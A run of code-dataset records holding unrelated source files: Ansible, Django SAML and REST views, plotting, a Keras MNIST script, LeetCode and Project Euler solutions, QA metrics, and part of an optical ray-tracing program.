from clc-sdk\n \"\"\"\n changed = False\n request_list = []\n servers = self._get_servers_from_clc(\n server_ids,\n 'Failed to get servers from CLC')\n for server in servers:\n if not self.module.check_mode:\n request = self.clc_install_package(\n server,\n package_id,\n package_params)\n request_list.append(request)\n changed = True\n return changed, server_ids, request_list\n\n def clc_install_package(self, server, package_id, package_params):\n \"\"\"\n Install the package to a given clc server\n :param server: The server object where the package needs to be installed\n :param package_id: The blue print package id\n :param package_params: the required argument dict for the package installation\n :return: The result object from the CLC API call\n \"\"\"\n result = None\n try:\n result = server.ExecutePackage(\n package_id=package_id,\n parameters=package_params)\n except CLCException as ex:\n self.module.fail_json(msg='Failed to install package : {0} to server {1}. {2}'.format(\n package_id, server.id, ex.message\n ))\n return result\n\n def _wait_for_requests_to_complete(self, request_lst):\n \"\"\"\n Waits until the CLC requests are complete if the wait argument is True\n :param request_lst: The list of CLC request objects\n :return: none\n \"\"\"\n if not self.module.params['wait']:\n return\n for request in request_lst:\n request.WaitUntilComplete()\n for request_details in request.requests:\n if request_details.Status() != 'succeeded':\n self.module.fail_json(\n msg='Unable to process package install request')\n\n def _get_servers_from_clc(self, server_list, message):\n \"\"\"\n Internal function to fetch list of CLC server objects from a list of server ids\n :param server_list: the list of server ids\n :param message: the error message to raise if there is any error\n :return the list of CLC server objects\n \"\"\"\n try:\n return self.clc.v2.Servers(server_list).servers\n except CLCException as ex:\n self.module.fail_json(msg=message + ': %s' % ex)\n\n def _set_clc_credentials_from_env(self):\n \"\"\"\n Set the CLC Credentials on the sdk by reading environment variables\n :return: none\n \"\"\"\n env = os.environ\n v2_api_token = env.get('CLC_V2_API_TOKEN', False)\n v2_api_username = env.get('CLC_V2_API_USERNAME', False)\n v2_api_passwd = env.get('CLC_V2_API_PASSWD', False)\n clc_alias = env.get('CLC_ACCT_ALIAS', False)\n api_url = env.get('CLC_V2_API_URL', False)\n\n if api_url:\n self.clc.defaults.ENDPOINT_URL_V2 = api_url\n\n if v2_api_token and clc_alias:\n self.clc._LOGIN_TOKEN_V2 = v2_api_token\n self.clc._V2_ENABLED = True\n self.clc.ALIAS = clc_alias\n elif v2_api_username and v2_api_passwd:\n self.clc.v2.SetCredentials(\n api_username=v2_api_username,\n api_passwd=v2_api_passwd)\n else:\n return self.module.fail_json(\n msg=\"You must set the CLC_V2_API_USERNAME and CLC_V2_API_PASSWD \"\n \"environment variables\")\n\n @staticmethod\n def _set_user_agent(clc):\n if hasattr(clc, 'SetRequestsSession'):\n agent_string = \"ClcAnsibleModule/\" + __version__\n ses = requests.Session()\n ses.headers.update({\"Api-Client\": agent_string})\n ses.headers['User-Agent'] += \" \" + agent_string\n clc.SetRequestsSession(ses)\n\n\ndef main():\n \"\"\"\n Main function\n :return: None\n \"\"\"\n module = AnsibleModule(\n argument_spec=ClcBlueprintPackage.define_argument_spec(),\n supports_check_mode=True\n )\n clc_blueprint_package = ClcBlueprintPackage(module)\n clc_blueprint_package.process_request()\n\nfrom ansible.module_utils.basic import *\nif __name__ == '__main__':\n main()\n","repo_name":"ansible/ansible-modules-extras","sub_path":"cloud/centurylink/clc_blueprint_package.py","file_name":"clc_blueprint_package.py","file_ext":"py","file_size_in_byte":9862,"program_lang":"python","lang":"en","doc_type":"code","stars":944,"dataset":"github-code","pt":"47"} +{"seq_id":"26870107183","text":"# importing the necessary packages\nimport pandas as pd\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nplt.style.use(\"ggplot\")\n\n# loading the data\nmpg = pd.read_csv(\"./mpg.csv\", header=0)\nbest_in_class = mpg.loc[mpg.groupby(\"class\")[\"hwy\"].idxmax()]\n\n# drawing the plot\nfig, axes = plt.subplots(nrows=2, ncols=2, sharex=True, sharey=True, figsize=(7, 7))\naxes = axes.ravel()\n\n# for group = color\ncmap = plt.cm.jet\ncmaplist = [cmap(i) for i in range(cmap.N)]\nuniq_class = mpg[\"class\"].unique()\ncmaplist = cmaplist[0 : len(cmaplist) : len(cmaplist) // len(uniq_class)]\ncmap = mpl.colors.LinearSegmentedColormap.from_list(\n \"Custom cmap\", cmaplist, len(cmaplist)\n)\ncolors = {x: mpl.colors.to_hex(cmap(i)) for i, x in enumerate(uniq_class)}\nused_cnames = set()\n\n# for the labels\nboxprops = dict(boxstyle=\"round\", facecolor=\"white\", alpha=0.5)\n\nfor i, cyl in enumerate(sorted(mpg[\"cyl\"].unique())):\n df = mpg[mpg[\"cyl\"] == cyl]\n best = best_in_class[best_in_class[\"cyl\"] == cyl]\n for cname, color in colors.items():\n subdf = df[df[\"class\"] == cname]\n if cname in used_cnames:\n axes[i].scatter(subdf[\"displ\"], subdf[\"hwy\"], c=color)\n else:\n axes[i].scatter(subdf[\"displ\"], subdf[\"hwy\"], label=cname, c=color)\n used_cnames.add(cname)\n\n for j, row in best.iterrows():\n axes[i].text(\n row[\"displ\"],\n row[\"hwy\"],\n row[\"model\"],\n verticalalignment=\"top\",\n bbox=boxprops,\n )\n axes[i].set_title(f\"cyl = {cyl}\")\n\nfig.suptitle(\"mpg via matplotlib: displ vs hwy, facetted via cyl\")\nfig.text(0.5, 0.04, \"displ\", ha=\"center\", fontsize=14)\nfig.text(0.04, 0.5, \"hwy\", va=\"center\", rotation=\"vertical\", fontsize=14)\nplt.figlegend(loc=\"lower center\", ncol=1 + len(uniq_class) // 2)\n\n# saving the plot\nplt.savefig(\"./mpl_lowlevel.pdf\")\n","repo_name":"ahgamut/plotting-comparison","sub_path":"mpl_lowlevel.py","file_name":"mpl_lowlevel.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23520917387","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom saml2 import (BINDING_HTTP_POST, BINDING_HTTP_REDIRECT, entity)\nfrom saml2.client import Saml2Client\nfrom saml2.config import Config as Saml2Config\nfrom django import get_version\nfrom pkg_resources import parse_version\nfrom django.conf import settings\nfrom django.contrib.auth import login, logout, get_user_model\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.utils.http import url_has_allowed_host_and_scheme\nfrom logging import getLogger\n\nlogger = getLogger('django-saml2-auth.maven')\nUser = get_user_model() # Default user\n\n# Get imports based on installed versions\ntry:\n import urllib2 as _urllib\nexcept:\n import urllib.request as _urllib\n import urllib.error\n import urllib.parse\n\nif parse_version(get_version()) >= parse_version('1.7'):\n from django.utils.module_loading import import_string\nelse:\n from django.utils.module_loading import import_by_path as import_string\n\n\ndef default_next_url():\n \"\"\"\n Helper function to obtain the default next url in the SAML2 Schema\n \"\"\"\n logger.debug('maven.default_next_url')\n if 'DEFAULT_NEXT_URL' in settings.MAVEN_SAML2_AUTH:\n return settings.MAVEN_SAML2_AUTH['DEFAULT_NEXT_URL']\n else:\n return reverse('start_page')\n\n\ndef get_reverse(objects):\n \"\"\"\n Helper function to call reverse() on a list of objects\n \"\"\"\n logger.debug('maven.get_reverse')\n if parse_version(get_version()) >= parse_version('2.0'):\n from django.urls import reverse\n else:\n from django.core.urlresolvers import reverse\n if objects.__class__.__name__ not in ['list', 'tuple']:\n objects = [objects]\n\n for obj in objects:\n try:\n return reverse(obj)\n except:\n pass\n raise Exception('URL reverse issue %s. Known issue from fangli/django-saml2-auth' % str(objects))\n\n\ndef get_current_domain(r):\n \"\"\"\n Helper function to obtain the current domain (assertion url) \n from the SAML2 Schema\n \"\"\"\n logger.debug('maven.get_current_domain')\n if 'ASSERTION_URL' in settings.MAVEN_SAML2_AUTH:\n return settings.MAVEN_SAML2_AUTH['ASSERTION_URL']\n return '{scheme}://{host}'.format(scheme='https' if r.is_secure() else 'http', host=r.get_host())\n\n\ndef get_metadata():\n \"\"\"\n Helper function to obtain the metadata in the SAML2 Schema\n \"\"\"\n logger.debug('maven.get_metadata')\n if 'METADATA_LOCAL_FILE_PATH' in settings.MAVEN_SAML2_AUTH:\n return {\n 'local': [settings.MAVEN_SAML2_AUTH['METADATA_LOCAL_FILE_PATH']]\n }\n else:\n return {\n 'remote': [\n {\n 'url': settings.MAVEN_SAML2_AUTH['METADATA_AUTO_CONF_URL'],\n },\n ]\n }\n\n\ndef get_saml_client(domain):\n \"\"\"\n Helper function to obtain the SAML2 client given the domain\n \"\"\"\n logger.debug('maven.get_saml_client')\n acs_url = domain + get_reverse([acs, 'maven_acs', 'django_saml2_auth:maven_acs'])\n metadata = get_metadata()\n \n saml_settings = {\n 'metadata': metadata,\n 'service': {\n 'sp': {\n 'endpoints': {\n 'assertion_consumer_service': [\n (acs_url, BINDING_HTTP_REDIRECT),\n (acs_url, BINDING_HTTP_POST)\n ],\n },\n 'allow_unsolicited': True,\n 'authn_requests_signed': False,\n 'logout_requests_signed': True,\n 'want_assertions_signed': True,\n 'want_response_signed': False,\n },\n },\n }\n\n if 'ENTITY_ID' in settings.MAVEN_SAML2_AUTH:\n saml_settings['entityid'] = settings.MAVEN_SAML2_AUTH['ENTITY_ID']\n\n spConfig = Saml2Config()\n spConfig.load(saml_settings)\n spConfig.allow_unknown_attributes = True\n saml_client = Saml2Client(config=spConfig)\n return saml_client\n\n\n@csrf_exempt\ndef acs(r):\n \"\"\"\n View function to handle logic after SSO user login\n \"\"\"\n logger.debug('maven.acs')\n saml_client = get_saml_client(get_current_domain(r))\n response = r.POST.get('SAMLResponse', None)\n next_url = r.session.get('login_next_url', settings.MAVEN_SAML2_AUTH.get('DEFAULT_NEXT_URL', '/bok/$'))\n \n if not response:\n return HttpResponseRedirect(reverse('denied'))\n \n authn_response = saml_client.parse_authn_request_response(response, entity.BINDING_HTTP_POST)\n if authn_response is None:\n return HttpResponseRedirect(reverse('denied'))\n\n user_identity = authn_response.get_identity()\n if user_identity is None:\n return HttpResponseRedirect(reverse('denied'))\n\n # For Google Cloud Directory Mapping\n user_email = user_identity[settings.MAVEN_SAML2_AUTH.get('ATTRIBUTES_MAP', {}).get('email', 'email')][0]\n target_user = None\n\n # Try to query the user by username (user_email)\n try:\n target_user = User.objects.get(username=user_email)\n # If the user DNE, return the denied page\n except User.DoesNotExist:\n return HttpResponseRedirect(reverse('denied'))\n\n # If the user is active, we want to login\n if target_user.is_active:\n logger.debug('trying to authenticate')\n target_user.backend = 'refer.utils.EmailBackEnd'\n login(r, target_user)\n return redirect(reverse('start_page'))\n else:\n return HttpResponseRedirect(reverse('denied'))\n\n\ndef signin(r):\n \"\"\"\n Helper function to redirect to client default SSO login\n \"\"\"\n logger.debug('maven.signin')\n try:\n import urlparse as _urlparse\n from urllib import unquote\n except:\n import urllib.parse as _urlparse\n from urllib.parse import unquote\n\n next_url = r.GET.get('next', default_next_url())\n\n try:\n if 'next=' in unquote(next_url):\n next_url = _urlparse.parse_qs(_urlparse.urlparse(unquote(next_url)).query)['next'][0]\n except:\n next_url = r.GET.get('next', default_next_url())\n\n # Only permit signin requests where the next url is a safe url\n if parse_version(get_version()) >= parse_version('2.0'):\n url_ok = url_has_allowed_host_and_scheme(next_url, None)\n else:\n url_ok = url_has_allowed_host_and_scheme(next_url)\n\n if not url_ok:\n return HttpResponseRedirect(reverse('denied'))\n\n r.session['login_next_url'] = next_url\n\n saml_client = get_saml_client(get_current_domain(r))\n _, info = saml_client.prepare_for_authenticate()\n redirect_url = None\n\n for key, value in info['headers']:\n if key == 'Location':\n redirect_url = value\n break\n\n return HttpResponseRedirect(redirect_url)\n\n\ndef signout(r):\n \"\"\"\n Helper function to render a custom signout template\n \"\"\"\n logger.debug('maven.signout')\n logout(r)\n return render(r, 'django_saml2_auth/signout.html')\n","repo_name":"MetisGenetics/maven-saml2-auth","sub_path":"django_saml2_auth/maven.py","file_name":"maven.py","file_ext":"py","file_size_in_byte":7021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19995139683","text":"from django.conf.urls import url, include\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index),\n url(r'^login/', views.login),\n url(r'^register/', views.register),\n url(r'^loginHandle/', views.loginHandle),\n url(r'^sendmsg/', views.sendmsg),\n url(r'^check_uname/', views.check_uname),\n url(r'^registerHandle/', views.registerHandle),\n url(r'^check_umsg/', views.check_umsg),\n url(r'^logout/', views.logout),\n]","repo_name":"kakarot5752/kakarot","sub_path":"club/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"73256985743","text":"import tensorflow as tf\n\nfrom custom.mnist_model import mnist_model\n\nif __name__ == '__main__':\n (train_x, train_y), (test_x, test_y) = tf.keras.datasets.mnist.load_data()\n train_x = train_x.reshape(train_x.shape + (1,)) / 255.\n train_y = tf.keras.utils.to_categorical(train_y)\n test_x = test_x.reshape(test_x.shape + (1,)) / 255.\n test_y = tf.keras.utils.to_categorical(test_y)\n\n model = mnist_model()\n\n model.fit(\n x=train_x,\n y=train_y,\n batch_size=256,\n epochs=50,\n validation_split=.2)\n\n model.evaluate(\n x=test_x,\n y=test_y,\n batch_size=256)\n","repo_name":"jayur830/tf-keras-custom-package","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5993625126","text":"from datetime import datetime\nfrom rest_framework.viewsets import ViewSet\nfrom rest_framework.response import Response\nfrom rest_framework import serializers, status\nfrom codesseyapi.models import Comment, Programmer, Entry\n\nclass CommentView(ViewSet):\n def list(self, request):\n try:\n comments = Comment.objects.order_by('-publication_date')\n\n if \"entry\" in request.query_params:\n entry_id = self.request.query_params.get('entry')\n comments = Comment.objects.filter(entry=entry_id)\n\n serializer = CommentSerializer(comments, many=True, context={'request': request})\n return Response(serializer.data)\n except Comment.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n \n def retrieve(self, request, pk=None):\n try:\n comment = Comment.objects.get(pk=pk)\n serializer = CommentSerializer(comment, context={'request': request})\n return Response(serializer.data)\n except Comment.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n\n def create(self, request):\n new_comment = Comment()\n new_comment.title = request.data[\"title\"]\n new_comment.content = request.data[\"content\"]\n author = Programmer.objects.get(user=request.auth.user)\n new_comment.author = author\n new_comment.publication_date = datetime.now()\n new_comment.entry = Entry.objects.get(pk=request.data[\"entry\"])\n new_comment.save()\n\n serializer = CommentSerializer(new_comment, context={'request': request})\n return Response(serializer.data)\n \n def update(self, request, pk=None):\n comment = Comment.objects.get(pk=pk)\n comment.title = request.data[\"title\"]\n comment.content = request.data[\"content\"]\n comment.save()\n\n return Response({}, status=status.HTTP_204_NO_CONTENT)\n \n def destroy(self, request, pk=None):\n try:\n comment = Comment.objects.get(pk=pk)\n comment.delete()\n\n return Response(None, status=status.HTTP_204_NO_CONTENT)\n\n except Comment.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n\nclass CommentSerializer(serializers.ModelSerializer):\n publication_date = serializers.DateTimeField(format=\"%m/%d/%Y %I:%M %p\")\n class Meta:\n model = Comment\n fields = ('id', 'title', 'content', 'author', 'publication_date', 'entry')\n depth = 1","repo_name":"bhighlander/codessey-server","sub_path":"codesseyapi/views/comment_view.py","file_name":"comment_view.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24368151572","text":"from collections import deque\nfrom typing import Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n \"\"\"\n Time: O(n)\n Memory: O(n)\n \"\"\"\n\n def isSymmetric(self, root: TreeNode) -> bool:\n left_queue = deque([root.left])\n right_queue = deque([root.right])\n\n while right_queue and left_queue:\n left = left_queue.popleft()\n right = right_queue.popleft()\n\n if not left and not right:\n continue\n if (left and not right) or (not left and right):\n return False\n if left.val != right.val:\n return False\n\n left_queue.extend([left.right, left.left])\n right_queue.extend([right.left, right.right])\n\n return not left_queue and not right_queue\n\n\nclass Solution:\n \"\"\"\n Time: O(n)\n Memory: O(n)\n \"\"\"\n\n def isSymmetric(self, root: TreeNode) -> bool:\n return self._is_symmetric(root.left, root.right)\n\n @classmethod\n def _is_symmetric(cls, left: Optional[TreeNode], right: Optional[TreeNode]) -> bool:\n if not left and not right:\n return True\n if (left and not right) or (not left and right):\n return False\n if left.val != right.val:\n return False\n return cls._is_symmetric(left.right, right.left) and \\\n cls._is_symmetric(left.left, right.right)\n","repo_name":"Kyrylo-Ktl/LeetCode-Solutions","sub_path":"Python/Symmetric Tree.py","file_name":"Symmetric Tree.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"} +{"seq_id":"35852081744","text":"#!/bin/python3\nimport sys\n\ndef solve(arr, t):\n r = c = 0\n paths = [(0,0)]\n s = [arr[0][0]]\n pmap = {\"0-0\":0}\n mx = 0\n def back():\n paths.pop()\n s.pop()\n if len(paths) == 0:\n return (-1, -1)\n r = paths[-1][0]\n c = paths[-1][1]\n pmap[str(r) + \"-\" + str(c)] += 1\n if pmap[str(r) + \"-\" + str(c)] < 2:\n r += 1\n c += 1\n elif len(paths) > 0:\n (r, c) = back()\n return (r, c)\n \n while r < t and c < len(arr[r]):\n if r == t - 1:\n mx = max(mx, sum(s))\n (r,c) = back()\n else:\n r += 1\n if r == -1:\n break\n pmap[str(r) + \"-\" + str(c)] = 0\n paths.append((r,c))\n s.append(arr[r][c])\n return mx\n\nt = int(input().strip())\nfor a0 in range(t):\n t2 = int(input().strip())\n arr = []\n for a2 in range(t2):\n nums = [int(n2) for n2 in input().strip().split(\" \")]\n arr.append(nums)\n print(solve(arr, t2))\n\n\n\n","repo_name":"ocrybit/hackerrank","sub_path":"contests/projecteuler/euler018.py","file_name":"euler018.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34140095806","text":"\"\"\"QA metrics.\"\"\"\n\n\nimport numpy as np\nfrom farm.evaluation.metrics import squad_EM, squad_f1\nfrom sklearn.metrics import confusion_matrix\n\n\ndef relaxed_squad_f1(preds, labels):\n \"\"\"Relax squad f1.\"\"\"\n # if there is any overlap between prediction and labels, the f1 is considered as as 1.\n f1_scores = []\n n_docs = len(preds)\n for i in range(n_docs):\n best_pred = preds[i][0]\n best_f1 = max(\n [relaxed_squad_f1_single(best_pred, label) for label in labels[i]]\n )\n f1_scores.append(best_f1)\n return np.mean(f1_scores)\n\n\ndef relaxed_squad_f1_single(pred, label, pred_idx=0):\n \"\"\"Relax squad f1 single.\"\"\"\n label_start, label_end = label\n span = pred[pred_idx]\n pred_start = span.offset_answer_start\n pred_end = span.offset_answer_end\n\n if (pred_start + pred_end == 0) or (label_start + label_end == 0):\n if pred_start == label_start:\n return 1.0\n else:\n return 0.0\n pred_span = list(range(pred_start, pred_end + 1))\n\n label_span = list(range(label_start, label_end + 1))\n n_overlap = len([x for x in pred_span if x in label_span])\n if n_overlap == 0:\n return 0.0\n else:\n return 1.0\n\n\ndef compute_extra_metrics(eval_results):\n \"\"\"Compute extra metrics.\"\"\"\n metric_dict = {}\n head_num = 0\n preds = eval_results[head_num][\"preds\"]\n labels = eval_results[head_num][\"labels\"]\n is_preds_answerable = [pred_doc[0][0].answer_type == \"span\" for pred_doc in preds]\n is_labels_answerable = [label_doc != [(-1, -1)] for label_doc in labels]\n # tn: label : unanswerable, predcited: unanswerable\n # fp: label : unanswerable, predcited: answerable\n # fn: label : answerable, predcited: unanswerable\n # fp: label : answerable, predcited: answerable\n\n tn, fp, fn, tp = confusion_matrix(is_labels_answerable, is_preds_answerable).ravel()\n metric_dict.update({\"TN\": tn, \"FP\": fp, \"FN\": fn, \"TP\": tp})\n\n prediction_answerable_examples = [\n p for doc_idx, p in enumerate(preds) if is_labels_answerable[doc_idx]\n ]\n label_answerable_examples = [\n l for doc_idx, l in enumerate(labels) if is_labels_answerable[doc_idx]\n ]\n\n relaxed_f1_answerable = relaxed_squad_f1(\n prediction_answerable_examples, label_answerable_examples\n )\n em_answerable = squad_EM(prediction_answerable_examples, label_answerable_examples)\n f1_answerable = squad_f1(prediction_answerable_examples, label_answerable_examples)\n\n metric_dict.update(\n {\n \"relaxed_f1_answerable\": relaxed_f1_answerable,\n \"em_answerable\": em_answerable,\n \"f1_answerable\": f1_answerable,\n }\n )\n\n return metric_dict\n","repo_name":"os-climate/aicoe-osc-demo","sub_path":"src/components/utils/qa_metrics.py","file_name":"qa_metrics.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"47"} +{"seq_id":"13432790473","text":"from django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom django.views import generic\n\nfrom .forms import CourseForm, SubscriptionForm\nfrom .models import Course, Section, Subscription\n\n\ndef index(request):\n if request.method == 'POST':\n form = CourseForm(request.POST)\n if form.is_valid():\n subject = form.cleaned_data['subject']\n number = form.cleaned_data['number']\n return HttpResponseRedirect(f'/{subject}/{number}')\n else:\n form = CourseForm()\n\n return render(request, 'pounce/index.html', {\n 'form' : form\n })\n\n\ndef course_sections(request, subject, number):\n subject = subject.upper()\n number = number.upper()\n\n course = get_object_or_404(Course, subject=subject, number=number)\n section_list = Section.objects.filter(course=course)\n\n print(course)\n print(section_list)\n\n return render(request, 'pounce/course_sections.html', {\n 'course' : course,\n 'section_list' : section_list,\n })\n\n\ndef subscribe(request, subject, number, sectionName):\n subject = subject.upper()\n number = number.upper()\n sectionName = sectionName.upper()\n\n course = get_object_or_404(Course, subject=subject, number=number)\n section = get_object_or_404(Section, course=course, name=sectionName)\n\n if request.method == 'POST':\n form = SubscriptionForm(request.POST, instance=Subscription(section=section))\n if form.is_valid():\n form.save()\n return HttpResponse('subscribed! check your email.')\n else:\n form = SubscriptionForm()\n\n return render(request, 'pounce/subscription.html', {\n 'section' : section,\n 'form' : form\n })\n","repo_name":"axu2/pounce-remake","sub_path":"pounce/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"15410069737","text":"# RT185v2.py Updated 22 July 2020 MLL to use DESI-ADC-2 files. \n# RT185.py Implementing the precorrection angles for ADCs.\n# RT184.py Going base zero and preparing for single star single wave probe trace\n# RT183.py Fraunhofer lines (line 1030) are now base=0 but so far unused. \n# Keeping base=1 Nsurfs, Nrays, Nglasses\n# Repaired plot color error by calling PLOTCOLORS[], line 1519.\n# RT182.py Examining the max ADC angular dispersion over the field. Externally called. \n# set up to use Fraunhofer \"i\" line 365nm and \"t\" line 1013nm. \n# RT181.py Looking at through-focus for KAP-50100 36x49mm sensor, FVC\n# RT180.py Studying field distortion of a simple doublet FVC lens\n# RT179-square.py Like RT179-both.py but calls DESI-SQUARE.RAY.CSV square pupil grid\n# RT179-both.py: outputs both text files of individual rays, and spot diagrams.\n# RT179-text.py: Added text file outputs for each ray, fifty files. \n# RT179-thru.py: Preparing monochromatic spot diagrams with full obstruction and well sampled pupils.\n# goal is to predict precise dither coordinates at 638nm (DECam Rband LambdaEff).\n# Linear-interpolated DESI-SPOT.MED has this new wavelength. \n# RT178.py: Implementing Steve kent's ADC roll directions: + is RH about +Z5.\n# RT177.py: Adapting Fraunhofer letters to base=1: 7 wavels but 8 array elements; zero is dummy.\n# RT177.py: commenting out the many print(xxx) statements to run silently, except for trouble\n# RT176.py: rewriting main() to have doTrace() callable as module \"import RT176.py\"\n# RT175.py: Doing a chroma demo rotating ADCs and making spot diagrams. \n# RT174.py: Simplified edition, no zernikes, no sagfiles; validated Chroma. \n# Second half of the EndToEnd study: Receives a task list, traces rays.\n# Set up to use Tasks.txt, DESI-E2E.OPT, DESI-E2E-RAY, DESI-E2E.MED\n#\n# MLL UCB SSL October November 2019\n#\n#\n# OUTLINE:\n# Library imports: line 50 onward\n# Macro definitions: line 70...\n# List definitions: lines 180...\n# Table parsing tools: lines 220..\n# Math helpers: lines 460... \n# Surface generators: lines 540...\n# Slope generators: lines 580..\n# Interceptors: lines 640...\n# Validator: lines 750...\n# Redirectors: lines 790...\n# Coordinate changers: lines 860...\n# Text output formatters: lines 925...\n# Input CSV file unpackers: lines 1050...\n# Ray tracing: lines 1350...\n# Output helpers: lines 1450...\n# Externally called methods: lines 1620...\n# \n# \n#\n#\n\n\n\n\n#-------------------RAY TRACING IMPORT ZONE-----------------------\n\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt # for showing PSF output\nimport csv # for interpreting CSV files; 'rU' = universal EOL recognizer\nimport matplotlib.colors as mcolors # for colorizing pixels with specified gamma\n\n\n \ndef printArray(name, array):\n print(name, end='')\n # if len(array) == 1:\n for item in array:\n print('{:14.6f}'.format(item), end='')\n print() \n \nPROGNAME = 'RT185'\n\n\n\n#--------RAY TRACING SET UP MACROS FOR INDEXING THE ARRAYS-------------\n#----------------group 0 \"OBASIC\"-----------\nOABSENT = -1\nOINDEX = 0 # user-supplied refraction index\nOACTIONTYPE = 1 # user-supplied surface action type: lens, mirror, etc\nOODIAM = 2 # user-supplied limiting Outer Diameter\nOIDIAM = 3 # user-supplied inner diameter\nOCURVE = 4 # user-supplied curvature\nOASPH = 5 # user-supplied asphericity\n\n#-------------------group 1 \"OXYZ\"---------\nOX = 6 # user-supplied X coordinate of surface vertex, lab frame\nOY = 7 # user-supplied Y coordinate of surface vertex, lab frame\nOZ = 8 # user-supplied Z coordinate of surface vertex, lab frame\n\n#-------------------group 2 \"OTPR\" be sure to call setEulers()---------------\nOTILT = 9 # user-supplied tilt angle about lab X axis, degrees\nOPITCH = 10 # user-supplied pitch angle about tilted Y axis, degrees\nOROLL = 11 # user-supplied roll angle about pitched and tilted Z axis, degrees\n\n#------------------group 3 \"OPOLY\"------------\nOA1 = 12 # user-supplied polynomial coefficients\nOA2 = 13 \nOA3 = 14\nOA4 = 15 \nOA5 = 16\nOA6 = 17\nOA7 = 18\nOA8 = 19\nOA9 = 20\nOA10 = 21 \nOA11 = 22\nOA12 = 23\nOA13 = 24\nOA14 = 25\n\n#------------------spider macro definitions------------\nONSPIDER = 30 # number of equally spaced spider legs\nOWSPIDER = 31 # width of each spider leg\nOMAXINPUT = 32\n\n#-----------------group 4 \"EULER\" internal access only---------\nOE11 = 41 # internal Euler matrix element\nOE12 = 42 # internal Euler matrix element\nOE13 = 43 # internal Euler matrix element\nOE21 = 44 # internal Euler matrix element\nOE22 = 45 # internal Euler matrix element\nOE23 = 46 # internal Euler matrix element\nOE31 = 47 # internal Euler matrix element\nOE32 = 48 # internal Euler matrix element\nOE33 = 49 # internal Euler matrix element\nOFINAL = 50\n\n#------------RAY TRACING optics action code values---------\n\nOLENSACTION = 0\nOMIRRORACTION = 1\nORETROACTION = 2\nOIRISACTION = 3\nOCBINACTION = 4\nOCBOUTACTION = 5\nactionLookup = ['OLENSACTION', 'OMIRRORACTION', 'ORETROACTION', 'OIRISACTION', 'OCBINACTION', 'OCBOUTACTION']\n\n\n\n#-----------RAY TRACING FIELD HEADER IDENTIFIERS----------------\n#-----these apply at every surface: 0=Raystarts; F=final surface.\n#-------------parser must supply the surface number.-------------\n\nRX = 0 #uppercase: lab frame\nRY = 1\nRZ = 2\nRU = 3\nRV = 4\nRW = 5\nRWAVE = 6\nRXG = 7 # goal field\nRYG = 8 # goal field\nRFINALINPUT = 8\n\nRx = 7 # lowercase = vertex frame\nRy = 8\nRz = 9\nRu = 10\nRv = 11\nRw = 12\nRFINAL = 13\n\n#--------RAY TRACING ray failure classifiers-------------------------- \n\nOK = 0 # no failure\nBACK = 1 # intercept failure; only roots are d<=0, i.e. backwards\nMISS = 2 # intercept failure\nODIAM = 3 # outer diameter validate failure\nIDIAM = 4 # inner diameter validate failure\nSPI = 5 # spider leg hit killed ray\nTIR = 6 # refraction failure\nEDGE = 7 # interpolation beyond safe boundary\nUNKNOWN = 8 # no valid action \n\nfailures = ['OK', 'BACK', 'MISS', 'ODIAM', 'IDIAM', 'SPI', 'TIR', 'EDGE', 'UNKNOWN']\n\n\n\n\n\n\n\n#------------------RAY TRACING LIST AND INDEX DEFINITIONS-----------------\n#-------------Helpers that just read these need not declare them global---\n#-----Helpers that create or modify these MUST declare them global--------\n#--------Here, the .CSV files have no ruler line; parsing is by field-----\n\n#----RAY TRACING Optics params and lists------------------------\nNsurfs = 0 # how many optical surfaces, modified by guide number.\nOnfields = 0 # how many data fields in the table\n\nOstrings = [] # list of strings starting with title string\nOtable = [] # list of lists of fields: 2D, starting with row=2\nOheaders = [] # list of strings, one per field\nOhasZern = [] # one-based list of booleans\nOhasPoly = [] # one-based list of booleans\nOglassNames = [] # one-based list of refractive indices and glass Names. \nOneedsMedia = False # if True, nonnumerical glass names will require a validated .MED table\nOarray = np.empty([0,0]) # Working, possibly modified, optical specification [allSurfaces, allParms]\n\n#----RAY TRACING Ray arrays--------------------------\nNrays = 0 # how many ray starts, modified by guide number\nRnfields = 0 # how many data fields in the table\nRstrings = [] # list of strings, 1D, starting with title string\nRtable = [] # list of lists of fields: 2D, starting with row=2\nRheaders = [] # list of strings\nRItoF = [] # lookup index-to-field list ONLY FOR RAY INPUT FIELDS\nRFtoI = [] # lookup field-to-index list.\nRaystarts = np.zeros([0,0]) # [nrays,nparms]; updated in getRaysCSV()\nRarray = np.zeros([0,0,0]) # 